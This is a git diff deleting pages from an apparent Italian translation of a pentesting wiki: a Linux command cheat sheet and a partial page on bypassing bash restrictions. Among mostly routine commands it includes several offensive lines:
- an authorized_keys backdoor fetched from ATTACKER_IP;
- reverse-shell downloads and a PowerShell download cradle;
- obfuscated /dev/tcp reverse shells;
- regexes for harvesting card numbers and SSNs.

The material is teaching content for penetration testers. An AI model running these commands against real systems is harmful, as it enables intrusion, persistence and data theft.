z!rS+P7Tzb#+A}c%ljo>8?OL}7xA>;n=SVL;oZXoFV~iM~g0m_lXcM!Ys6aV66y9mXtN6z4}k3^C@aR%}{qwlnU z>DYCW?9C&|?^g%K9&oIyN4o&c)wE=FJBDLpP)KO0uKKfAy^X$Nf32~tZVof`YBSd} z0A@R!`y>c8v0uce7kX-AYLGgL2+@CmKz!HnmZv9aW}i#SNH)EmX9ll_kZHAbNH)gD z;q&fVJ4a7Mu`({jeE)aBci#vPefRdiN9buvVLnMUSuR@R5YEYwm?Q(=OMD32Lat*3 zeq{~Jk=&}dMFp=#!YT>=((X6<5`v1WBP(#eA&CP$G!;%yF@aw~c|%EzHXaiukh^b> z!wImK{nXR-VO6Nq8?}LYL!w>HN_+L#Amk=2bh)HDZ4J$yn8^&nl>EW0Vx+ z9QIS;HIj-*7tVX;4G};It@Q7&x6Ud&_6^e|Pu&>AGhgS>WuGssG+djT5Z7oeNQfqf z2pZGKFil?3Y7QW9L~J#q0iac5K~eqSH7bIynSO{ZQZ%s*vwQ8&Y}%f&>==fD76?zi z((@^z1541(2;gT5!Z%}@XO`nIOLge@P1odlkGt`H;g-%sWhTHE^C^Rgo~s&oWaly} zzcMDF3;m6If7y?7_t0IJaC$IF`BPVL2m2VJ&@1(^KuW$4FONc@lBD&#z}3^;uz!1z z4r`g1_&e{y}jXXwMn(Nj!QqYbppA8xoD zG$^lm=!tyigQtEMdR))+#?w$PYUKR#wOVN(-3U-BA zjN@>DKT$nf_ca6jShTJDq7Fao@n#FDvawFxM9hs_RVUOsURa?daKGXmP`yD-a+eXS5FfdrfR#dMql(2>b;M%o%(Ej<}HKFRS4pA ztgcukIuit%7l{Rl*~?9RM$L%d`?ZPB4t*Zzc~cf%ah%0ccyO_!qYh$6)AReB^a_Y~M zi842U?(334EROwgGO+v3rjRM2Mwb`XgklG|EWEjAxlAhT64fwzuUA6BdTPR1U(Lo4 zbi}6pvF+(8xx8|0Gf86LlGbu4Cnt$cs3K$O*M#kNyWp?UX6|#p>CNMEoJ$e{eaHh? z8WT+KN6j)05C^|CEJ&sgqHfl~*2P(cC zFSE@QS+IMK-r6^~=A(E~YmZ6-`Rs(w@hzHmzrc%=2vJc6I=MHM3l}X43;rG0-P|QW z&o%DPlmK+(fcozxt~98H3PLL{o;8Y;8jBuT#qY`WUiY6h_FkH?L|yu}u9*=ITIdqn zpwMY-ZbU~hYkC{;X@3@5K(GmkQ&S7Nb6cx)9xRJf6e1yHnK?!_*^29 zIyE>wb&gO|EK6UYKqA*_@NAP15cH{M! z`-Yj7DK87u)wQ|)-D4X$mEMLQ5OPV2(%dZHDM~|Eq<-R+;F|V(ZnJ#l!CH6gE<*i` zd;73(8~Kq!VYRG3v0^(nuP2dcNv|}dxq^&01LI@b%&WakigQ;*S+)EqlbN^S=_*m# z5y9@WNLHG0ytXKW?C0YmmV%$C^4@o#nsZly~GdXl4%Z;5{g*JmSJVE*j$M6Q4L@%*F zW(w4wU8P@1*;kQcNjP~D?~|^bTqa-)Aqy=B@dmzp?-4Q~(xc50VNbJEPI0udpp_Gj zjr!R)OhF;=!*iatV$>dU6~I;)GkCyCPCl54u5|lgq%kQYOnZd34m}e={dInTC{KU7 zJ4i|Sfpi5|vOc~iTS4!dO5{kFMtSg8pP1ofxA*W3O1WnY==I0!ZGSzxvo;snFDfp2 zdR|`n6~A>3M4jp7az2a`M~mg@0MZ**cNHrVcSqwK>tK0WiPF~&)PO9pgOL&>HvZx3 zPLukd3ux^%gj(tS+Z3k=&@s(~f?RAI{Eaye~xS|Ue=SNd2zk4kMM4|20R*59SSZ(vgl zwEvX9JFulGmV-C{fN!E36c6gs_bYFYxlTM>_lO;5QL`;-w+C_-6N7$)*9)wD(|<$L z`ZFo?xUB9qbd#c1X>88|SIlby9B+$w{pGRjm)E!SDrIXs-wASaSbEF)Fw8M#8kn;r zn|?)u4lq*Ar4hT0sDTHsNS4xaXgTj*)1zETSG0oX%Z%?6FLX{ynI5EDmSV6^UfzaR z;Ek+vU4x-t9DvZjSur-~99#e49=@)gJpk2eBEuHcOwE4gFgY|(Bt1CGWIo|%yaL3Q z2z?GP=y%qn_mFMYy_5{HHbE8Y{3O^--TQIR$l>O*YT}@LHQ2&DW#9 z+SgjN_n(T35|9>?1#;v@#HDk-n5V9-ym(5FRdQwA2f_%T6hF|T$bWns|+{&I_(-ECy<5B@?;vgE) zp7dY6IQ3iYii?%2i1JSYjp!VD4@#)I&PG4Y{2**0V=_hDZ^g>3Dx$W%ZUpxYh0LT? zF#GqvX#pCig2`cKdFOSkJc5TZh@N4uJN0ABuQF71zt76RO0#d@*JZuTXvpICWX%3P ze}~jWW$3W97|FrI^Xsi`>Qs0yN`mLO$ZK@8N5O$D-DwhT7=9D7g&R?+(zR1dB$FSKR7 zXOK?yJlPEhe$DIX-joV*<~}5sV@=c%?(WMazG}|4hEAt(nI-dcXF5uYWN>i%wVQbNB6Z zy(#iy9O(n=QFqQ9_4Q0tZ8QNbYNV}+Ou?j`znGu(+?R9IlVc_9W#2YjgI5lprlQq- z{iuVKdYmQL6ZTt1rCOl7(f~&OFocEs@IrFnZcz+tyLy~**@5TQMtF*CpO6BBdKi!; z^5LM&O+a>|RTEvEQK>o`wn57LCHV!n;F4fYGlP<)Ej<(D^**Y}sGhn~pLEk$>Ci2- zPp>}Fz}tsh=;7!!|7{JCZagRD?K_yi=U1~XN?~Ve%jL&hI6iCge)O%AfTA;!gt!Lo zd68vqh2hO*NN{0qBJ#Ub1Cn>cKLOVf2Z6fh?&59@$v0VIS5zb~)=RD8`3G22O0M7| z3T^s>OAZH3t&-@p12xbW+tet?`R%qAsOVMB;I>gWZFsm{UtV)z9_Y}j#_MO6&a0*` z7D-|kA8K&TJrT`ZunC=P%iFBf?fvEtdEIRVJ;GV6VM)3&m$6Y7q4?!Sz6wy4gl}#Q z(FNB}HR;FU6_FbgVy)@x`d%NUY+&c=}N>p3sd8;Al(G*y(onq9Qg3WdM#rezZ zD}NQ0npsK}EheZkV1*`+Fd>VHV^NucBw_^-a`^k!7Q7p@WK51m2F;KtI9}tI7bz;Q zE%$m)3U9snfi_JJuZuNh@D}K5Lkf(LnU@AfqZVz@?<;T?KJNonSp9_e+rtVl}??8 zzA7;=eD8H$lk?7vHWC$9{jM)tXoFRvj=udeu869>Q7a#5pQ}l86ZZ$A*NOZ9mmEX4 zr47cbu7UumxZyW9VL-$Tlzl>kqo8G`;QXy9jTvEr-&ImQFVH*>K~Dx8ubOd z0YU<43?lTW1Z%$6mC*zBw4OgxK193v_-tZ6U*_YC^n7LcLDD@H6OEK?LyI4|`a@gW zn(hyAWcEp@e0T)wxi|Mm%$B8k>8Uzq_8PCRT1TI28>FU(PJ@7XHul4faE!s#VnruQ z{(@t`NX$tA3H5!P!<#@KeG?RchMQ}9oCov8os?G&8=zMX<*}?Xu5UZf=x=H9;oux4 zC-Rv>{hdzzW0T8^&5q_kgc0NM9a5x2alUYq#Cl~W9?cr44%C}+2Tr?YGJgRYrL=S= z3)q$V_;N|Uhd`nd=hhZC=UuAe$f3UGUO0xb67y*Rvxgb?l;C!JcB7E0Vd@OS@eJ!2 zUM2II#bHdL+fu_NPSz)j+xlQ6 zvR#7=+t`c6dA?3dHWeKxb+j>L^e3jyLD(^xZu1R>?bWW4Xe6rCA zXegMjn|qetA%cOqL1-|nM~CsEO1YP0u3Uripy{#%Gt;$AqzTW@Md5z+7nTJDIb&@K zMx=BsM>o@j?kGs)xwWr- zyGMX)?=VrIxvbD(zzK`*3?7!M3=F>Z;tux?!xf$~;~GIAv3W2K4kvchAyxQe{=>jA zUm+%yU|9w4Q_Jv7jbPdQY%wJ@ye+B|y?_-y$CO#$cCL)NVI_jl1+~u1PI@X3N+TCn z%v5$?K+d#Cw^$ES&S_DDsQAUpo+4>y<@Di>r9@`W5$vwLd#6w)^f*&OL56+{{w?H~ zA=r_{iRkkt6$3GB?}>E(a%)8Nr&+AgFoBoQzG0^2N!D}!?9?~?6*Dn~2Mt{(#*`|x zo~r{~17#gKp}Xl&gTgRol0P=UL7!W(WRGut8JCG+%b_~ATAKah1>4G1`Q^pf{p@GA z>eovGnTnQ%+J(c$wLL$slczKB#`0&-D5mrs*?OcD(68xDc4#N_&C8TAhDu`BDtf)0 z4J_YLOdWk=ML*lkcUuRvaAMBFj?i0NIK!hnz!NtJCjkK4$}wz_u+pcu+A(H0w!6oyxizdP~! zdR;%)bBel%e^1Yu7k-@t5?9i(yl=&zP(wtuZf^d!>flz#RJ^NJ2D9q*!2``{*d^_fDQ;X7UPRw_we zC6B`dO&!Xqv0Dxhv;_ly$t~>szRm33&!LU_=&{9vW$TAFlWfjEGmY7)U8 zXX(7q8nxDR?=JchL0^C6-pqhzoRlg)^Y;PDNaPjX59Wb5$g*D;SXeBA!GL|(!N6u6 z=?7Ly^bKMiy`84^485IUrI4bxpXV^!K3|IPV$7SfUAlQ-6k_H`QMcWa4&AaP`{8+3 zn-5iNjaV?Kx6X>=wmYZkKI$W#lSRUh^@=ZfLvzes5*d8KvGtxlG1VjPi7RIs^pg9- z>c)y3y0sfEJybY_PA0t})g~h`F)lHa-vOKc#+MGeQ8qABaR~ah^?rAvr2N8rsY(b% zGY-W{vcv;`q$n#q$*Os~{{`M`El%@(_s?8VS*YvX0v;i4mo}vDd70!t@$qUyJAwx8 zKr`=%eoumP;KLpd^7piIR5K30%tLKnIeZYygmhfRP(Q0H-r_HLST(L$gAYM-GHz}}$*gf>xx4RHu{~e0zeFu-*#`)AU)g*&36(V( zCCmYmUp!1l?Y4oUwo#L*5X&X71L1I2RGPR*m@(5&0vO__)nA><`&X{$-Lu;GJh!RR zpUEq<7Hd!#Q`T}_2`mri z^;C&z4=f$f)|8w%{HI>!dy@4p^LX2?&#wUdXO_(GX>=8qBWhuw0yFVny5l$wlHpyhe$R!bgMd>1L^=S}JI&4eF2=)kr) z!>8i>nHsH+ny7J&;pi={GGfN#+9I1|H&qr&;^h#`9rw}B^%*bv`@L%TmAh!7KW#8j z`6O%>LT*rQyaf6B_~%`q7mk+(s*doAB8Rq&Nq90A*)L)$YzVu!Z)N`VWo`~_u1kUeEn%J$yg=EX>V+fAy>@YW2VG zbvAG`6=m+sXylVdy&Om5uL<|QRNegpl<8+kVsQzjycFW7iZ5$%U=%t(i2pT6aED5d zP_Rib-IlW~17CZQ4hmc&7h=&diKt(!Ku-~s&+Ah%z3+elMhgTNdfOvHfmi|_j>V*5 zm(waVidJ9Zlj!G)3~?y+l^jJbmD=XHAY4aSmyb|dP=`BDrn5&dk?iO^XB`R9(oRb_ zh+J^^^q@Ag>S@L;Fvti&$!Nm;WS3rcN|oeu8=nffBrVDFR@TzOean|?@pGh6r13aK z#CT8G`zcDwZPi?$Q11JObUWZ-HqfQ&r<%jr6j{SFmGP1Jq^U+P0<)^&@wJIhW8X&) zZe5>AMpqoKN}&P&Hdwt|?&ScG-xs``-Tr5msP`-Ll9K_X!h)J!PZMag^PE z4toR{&Z*#JwS&g+REO}`A9Ic2?33A~Y)WGjr6cfW2`|~ZdNix|QaCrW{aW$IM|4>zS$2ay=~N?#S&vF$pxf!VOA;3k!B!8Oc@wxo@RQxD#AJywuT0=>jp}=z7M*?Lm=3>h*CJsrc(xk%6fhdN{-V+y1=0+w5&~p&a%u-~7&Vydta6g8m;Gk?)C# z&WRcQdg@3r)Nq}mvah;eA(36ySIGJc%A6>0djjDs&yykL-438}LMl9M^|Srxdznps z-^$OO5-DA0I078EQ>C@YhDt{+DzLWJhK{ybB~$iZ!EPjX+pSkcJohghV7Cm|XRJWk zNg)m@ROAucNZ(g1XV%rtXgz())k|%Yj4b#hdA!+xjJ~3b8JF0%Cvly}6BHCBE504& zY4;Zn&~Gq)Y*CXZB#<~t)g1Srs)7DjBpEN#HBeIWCd^Rv;Lp?E%9UHe_<6<2P}ykC z1TZ#@MFhi|65ZZkWxS>@4BoBgK`Z837`dBqPViZu*V*T|-)@l6ocgL5z zG8~mXCTvygUG31A?Qo#F0H$pG?qf%`qD_`iVTr>wNS#yLDvT#rq&)jMTc27a787cfT`i1>fF zKa)-&Mn(w}-n_!)I7OOjmqO1!I=QK`E57Mq<@1t~O}Phw!d?B5oy*Ea6`JYBhvSrs zvu4!&;p%H%4y9({r}Vilb3isSq-DU59RL5wv_DB7B$kW3*xqgWZ2Uz9oyi?)ASyQi z4N06vqs8pgOOs1}v?pwRxT0v<3nyNbJ~5pyk<--NFb|F=kSP`fWc2WX;d7G_$}ei}#S&@Utt(Ywsc zcOjh*|37$6doop7#;8IqUXif2%vI@qxi_U-rQG_@7eudPFd z*2CH1EyFk}W_{(#YR4DdJX2PQ$*0S;`}4V<(k>?$x~0vKdwap1L-0{gTg$$w!r~6o!zEfqixJiB~^9w_v@R8q*~f= z4w3_@+}s}?c29C`J3h{U?ceoq1)VBXt}vWwVM_g%(%b_CtChM?8YP_{oZ6Kwf(fvC z&8(IN4rC~7dhoS@vwa@7k9jr)LIR5C$U2nOz-@Z(}#t$co=QH^%*R3;9t%tc%U>*Y;Nh4H0K@LThj?4J4tT$!^Goj zfYhFkgx7K+{Mr1Lb>~LGO%oieCQX}J z6?2C!EZTav^BEN6D7Xd-s71w;|HISa=~|o9?zwt}x5T%1_IC$xVq^_(Czvy#qyy+1 z)R*KY&93$EBZn)wKER9GV>MYAKJqm|EX-SR?3X4Zxyx*oU)~Th>OPI!zw}^;h%%7is4eNI*{rDk?iG?~E*i^!# z#<-#xOWKF0gyglsR7FWo%NTxjWFrr2nxuRC0f4apDf`lYHZuIRaYjLyj5O&DBEjU& z+)sl40N&3?o&^~KMxB~H5eoALqOSLm{R@5KcK=cjFG3a)A>mYqvT=lX^^!RG5*JfV z{;&V2TIpY4RISTU=!=${bmq4s^j5v@uxz1cyRnCLRVs zV0*S67)250CLd09ADdu+Ia9CG*SbtBUu9$q+X*qn{~^2A^?aclWp7b?ue~NBAcT6a z>u=Q-(f-Q_9k;wD-;!VpVFWP>T?Upg1&^wgLGgRW{|I6M=cmOX&D>06BAZg0b(ZtM zr%|X@_ySFp``7uGe-*!C5>NLKg#{r0KZ;#C$X9rWZAq;Tg{h|gSMxvhhxVv&{k*WT56+Ct-{r7ag5a(Cc{!t}^>~FK-*VBLgUu%8m}=&JMEqO)m;48+ z-{~#2n^QTV)&%4^a;B#;hs6a5^|Aj62wckQ`o9Qz4(7~FqW0D z*TPyFVj(JZnA;Dr*eLIBzg*lLm1~*p{viCH9^~+wr1y+t{~yAmgxQ!`+6YDSEB$|w z0SDtm+984z4BnUvq}Y?`lGahBc`}~P{UcABrj5bFXlDPiAS^e0?x1+!HE^>$G}0o_ zeVrDRM^)WhDOD*oduxrdzd_b$cmH - -``` -## Difesa - -Non inserire mai dati sensibili all'interno dei parametri GET o dei percorsi nell'URL. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md deleted file mode 100644 index 815756103..000000000 --- a/src/linux-hardening/useful-linux-commands/README.md +++ /dev/null @@ -1,297 +0,0 @@ -# Comandi Linux Utili - - -{{#include ../../banners/hacktricks-training.md}} - -## Bash Comuni -```bash -#Exfiltration using Base64 -base64 -w 0 file - -#Get HexDump without new lines -xxd -p boot12.bin | tr -d '\n' - -#Add public key to authorized keys -curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys - -#Echo without new line and Hex -echo -n -e - -#Count -wc -l #Lines -wc -c #Chars - -#Sort -sort -nr #Sort by number and then reverse -cat file | sort | uniq #Sort and delete duplicates - -#Replace in file -sed -i 's/OLD/NEW/g' path/file #Replace string inside a file - -#Download in RAM -wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py -wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm -curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py - -#Files used by network processes -lsof #Open files belonging to any process -lsof -p 3 #Open files used by the process -lsof -i #Files used by networks processes -lsof -i 4 #Files used by network IPv4 processes -lsof -i 6 #Files used by network IPv6 processes -lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 -lsof +D /lib #Processes using files inside the indicated dir -lsof -i :80 #Files uses by networks processes -fuser -nv tcp 80 - -#Decompress -tar -xvzf /path/to/yourfile.tgz -tar -xvjf /path/to/yourfile.tbz -bzip2 -d /path/to/yourfile.bz2 -tar jxf file.tar.bz2 -gunzip /path/to/yourfile.gz -unzip file.zip -7z -x file.7z -sudo apt-get install xz-utils; unxz file.xz - -#Add new user -useradd -p 'openssl passwd -1 ' hacker - -#Clipboard -xclip -sel c < cat file.txt - -#HTTP servers -python -m SimpleHTTPServer 80 -python3 -m http.server -ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" -php -S $ip:80 - -#Curl -#json data -curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint -#Auth via JWT -curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint - -#Send Email -sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content - -#DD copy hex bin file without first X (28) bytes -dd if=file.bin bs=28 skip=1 of=blob - -#Mount .vhd files (virtual hard drive) -sudo apt-get install libguestfs-tools -guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd - -# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys -ssh-keyscan 10.10.10.101 - -# Openssl -openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server -openssl x509 -in ca.cert.pem -text #Read certificate -openssl genrsa -out newuser.key 2048 #Create new RSA2048 key -openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) -openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate -openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate -openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) -# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: -openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 -# Decrypt ssh key -openssl rsa -in key.ssh.enc -out key.ssh -#Decrypt -openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz - -#Count number of instructions executed by a program, need a host based linux (not working in VM) -perf stat -x, -e instructions:u "ls" - -#Find trick for HTB, find files from 2018-12-12 to 2018-12-14 -find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null - -#Reconfigure timezone -sudo dpkg-reconfigure tzdata - -#Search from which package is a binary -apt-file search /usr/bin/file #Needed: apt-get install apt-file - -#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html -echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw - -#Set not removable bit -sudo chattr +i file.txt -sudo chattr -i file.txt #Remove the bit so you can delete it - -# List files inside zip -7z l file.zip -``` -## Bash per Windows -```bash -#Base64 for Windows -echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 - -#Exe compression -upx -9 nc.exe - -#Exe2bat -wine exe2bat.exe nc.exe nc.txt - -#Compile Windows python exploit to exe -pip install pyinstaller -wget -O exploit.py http://www.exploit-db.com/download/31853 -python pyinstaller.py --onefile exploit.py - -#Compile for windows -#sudo apt-get install gcc-mingw-w64-i686 -i686-mingw32msvc-gcc -o executable useradd.c -``` -## Greps -```bash -#Extract emails from file -grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt - -#Extract valid IP addresses -grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt - -#Extract passwords -grep -i "pwd\|passw" file.txt - -#Extract users -grep -i "user\|invalid\|authentication\|login" file.txt - -# Extract hashes -#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) -egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt -#Extract valid MySQL-Old hashes -grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt -#Extract blowfish hashes -grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt -#Extract Joomla hashes -egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt -#Extract VBulletin hashes -egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt -#Extraxt phpBB3-MD5 -egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt -#Extract Wordpress-MD5 -egrep -o '$P$S{31}' *.txt > wordpress-md5.txt -#Extract Drupal 7 -egrep -o '$S$S{52}' *.txt > drupal-7.txt -#Extract old Unix-md5 -egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt -#Extract md5-apr1 -egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt -#Extract sha512crypt, SHA512(Unix) -egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt - -#Extract e-mails from text files -grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt - -#Extract HTTP URLs from text files -grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt -#For extracting HTTPS, FTP and other URL format use -grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt -#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" - -#Extract Floating point numbers -grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt - -# Extract credit card data -#Visa -grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt -#MasterCard -grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt -#American Express -grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt -#Diners Club -grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt -#Discover -grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt -#JCB -grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt -#AMEX -grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt - -# Extract IDs -#Extract Social Security Number (SSN) -grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt -#Extract Indiana Driver License Number -grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt -#Extract US Passport Cards -grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt -#Extract US Passport Number -grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt -#Extract US Phone Numberss -grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt -#Extract ISBN Numbers -egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt -``` -## Trova -```bash -# Find SUID set files. -find / -perm /u=s -ls 2>/dev/null - -# Find SGID set files. -find / -perm /g=s -ls 2>/dev/null - -# Found Readable directory and sort by time. (depth = 4) -find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Writable directory and sort by time. (depth = 10) -find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current User and sort by time. (depth = 10) -find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current Group ID and Sort by time. (depth = 10) -find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Newer files and sort by time. (depth = 5) -find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer files only and sort by time. (depth = 5) -find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer directory only and sort by time. (depth = 5) -find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less -``` -## Aiuto per la ricerca Nmap -```bash -#Nmap scripts ((default or version) and smb)) -nmap --script-help "(default or version) and *smb*" -locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb -nmap --script-help "(default or version) and smb)" -``` -## Bash -```bash -#All bytes inside a file (except 0x20 and 0x00) -for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done -``` -## Iptables -```bash -#Delete curent rules and chains -iptables --flush -iptables --delete-chain - -#allow loopback -iptables -A INPUT -i lo -j ACCEPT -iptables -A OUTPUT -o lo -j ACCEPT - -#drop ICMP -iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP -iptables -A OUTPUT -p icmp -j DROP - -#allow established connections -iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT - -#allow ssh, http, https, dns -iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT -iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT -iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT -iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT -iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT - -#default policies -iptables -P INPUT DROP -iptables -P FORWARD ACCEPT -iptables -P OUTPUT ACCEPT -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md deleted file mode 100644 index 4afd74cd5..000000000 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ /dev/null @@ -1,319 +0,0 @@ -# Bypass Linux Restrictions - -{{#include ../../banners/hacktricks-training.md}} - -## Bypass delle Limitazioni Comuni - -### Reverse Shell -```bash -# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time -echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' -# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h -``` -### Shell Rev breve -```bash -#Trick from Dikline -#Get a rev shell with -(sh)0>/dev/tcp/10.10.10.10/443 -#Then get the out of the rev shell executing inside of it: -exec >&0 -``` -### Bypass Paths e parole vietate -```bash -# Question mark binary substitution -/usr/bin/p?ng # /usr/bin/ping -nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost - -# Wildcard(*) binary substitution -/usr/bin/who*mi # /usr/bin/whoami - -# Wildcard + local directory arguments -touch -- -la # -- stops processing options after the -- -ls * -echo * #List current files and folders with echo and wildcard - -# [chars] -/usr/bin/n[c] # /usr/bin/nc - -# Quotes -'p'i'n'g # ping -"w"h"o"a"m"i # whoami -ech''o test # echo test -ech""o test # echo test -bas''e64 # base64 - -#Backslashes 